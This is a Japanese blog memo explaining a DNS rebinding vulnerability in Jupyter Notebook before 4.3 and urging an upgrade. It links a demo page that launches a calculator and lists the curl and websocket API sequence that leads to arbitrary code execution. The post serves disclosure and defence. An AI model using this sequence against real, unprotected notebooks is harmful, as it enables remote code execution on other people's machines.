memo

2016-12-27

古い jupyter notebook (<4.3) は危ないので気をつけようという話

概要

古い jupyter notebook (バージョン 4.3 未満) は DNS rebinding attack に対して脆弱です。 そのため、ローカルで notebook 動作中に悪意あるウェブページを閲覧しただけで、任意コードの実行を許す恐れがあります。

バージョン 4.3 からデフォルトで有効になった token 認証によってこの攻撃は防げるので、さっさと最新版に上げときましょう。

デモ

http://nbdemo.u7fa9.org/

お手元で pip install "notebook<4.3" して、 jupyter-notebook を起動してから上記 URL にアクセスしてみてください。 待っているとそのうち電卓が起動すると思います。

(一応 notebook-4.2.3 に対して Ubuntu と OSX 上で、 firefox と chrome で動作を確認してます。)

説明

  • DNS rebinding attack によって、悪意あるウェブページ上で動作する javascript からローカルで動作する jupyter notebook に対して、任意の HTTP リクエストを送ることが出来ます。

  • 古い jupyter notebook はリクエストの認証や Host ヘッダの確認といった対策を行っていないので、このリクエストを普通に受け入れてしまいます。

  • jupyter notebook に任意のリクエストを送れるということは、要するに任意の python コードを実行できるということです。

  • バージョン 4.3 から token 認証がデフォルトで有効となりました。 攻撃者は token を知ることが出来ないため、 notebook へのリクエストを成功させることが出来ません。 よって、コード実行なども出来ません。

  • ということで、 jupyter notebook は最新にしておきましょう。

メモ

コード実行までに必要な notebook の API について。

  • 新しい .ipynb ファイルの作成

      $ curl -d '{"type":"notebook"}' http://localhost:8888/api/contents | jq .
      {
        "format": null,
        "name": "Untitled.ipynb",
        "last_modified": "2016-12-25T09:00:00.000000+00:00",
        "writable": true,
        "path": "Untitled.ipynb",
        "content": null,
        "created": "2016-12-25T09:00:00.000000+00:00",
        "type": "notebook",
        "mimetype": null
      }
    
  • どの kernel が利用できるのか調べる。

      $ curl http://localhost:8888/api/kernelspecs | jq .
      {
        "default": "python3",
        "kernelspecs": {
          "python3": {
            "name": "python3",
            "resources": {
              "logo-32x32": "/kernelspecs/python3/logo-32x32.png",
              "logo-64x64": "/kernelspecs/python3/logo-64x64.png"
            },
            "spec": {
              "language": "python",
              "argv": [
                "/venv/bin/python3.5",
                "-m",
                "ipykernel",
                "-f",
                "{connection_file}"
              ],
              "env": {},
              "display_name": "Python 3"
            }
          }
        }
      }
    
  • kernel の起動

      $ curl -d '{"notebook": {"path": "Untitled.ipynb"}, "kernel": {"id": null, "name": "python3"}}' http://localhost:8888/api/sessions | jq .
      {
        "kernel": {
          "name": "python3",
          "id": "4102da2b-bb4c-47f9-8660-cf5b84779d07"
        },
        "id": "92aa4c5c-d83d-4924-8bcc-80bb523f9f19",
        "notebook": {
          "path": "Untitled.ipynb"
        }
      }
    
  • kernel に接続

    ws://localhost:8888/api/kernels/<KERNEL-ID>/channels?session_id=<SESSIONID> に websocket で接続する。

    (<KERNEL-ID> のトコには上記で返ってきた kernel.id を入れる。)

    (<SESSIONID> はテキトウにランダム生成すればよさそう。)

  • コードの実行

    以下のような JSON 文字列を websocket に send する:

      {                                                                                                            
        "header": {                                                                                                
          "msg_id": "<MESSAGEID>",                                                            
          "username": "username",                                                                                  
          "session": "<SESSIONID>",                                                           
          "msg_type": "execute_request",                                                                           
          "version": "5.0"                                                                                         
        },                                                                                                         
        "metadata": {},                                                                                            
        "content": {                                                                                               
          "code": "print('hello')",                                                                                
          "silent": false,                                                                                         
          "store_history": true,                                                                                   
          "user_expressions": {},                                                                                  
          "allow_stdin": true,                                                                                     
          "stop_on_error": true                                                                                    
        },                                                                                                         
        "buffers": [],                                                                                             
        "parent_header": {},                                                                                       
        "channel": "shell"                                                                                         
      }                                                                                                            
    

    (<SESSIONID> には上記 <SESSIONID> と同じ値を渡しとけばよいっぽい。)

    (<MESSAGEID> は何でもよさそう。)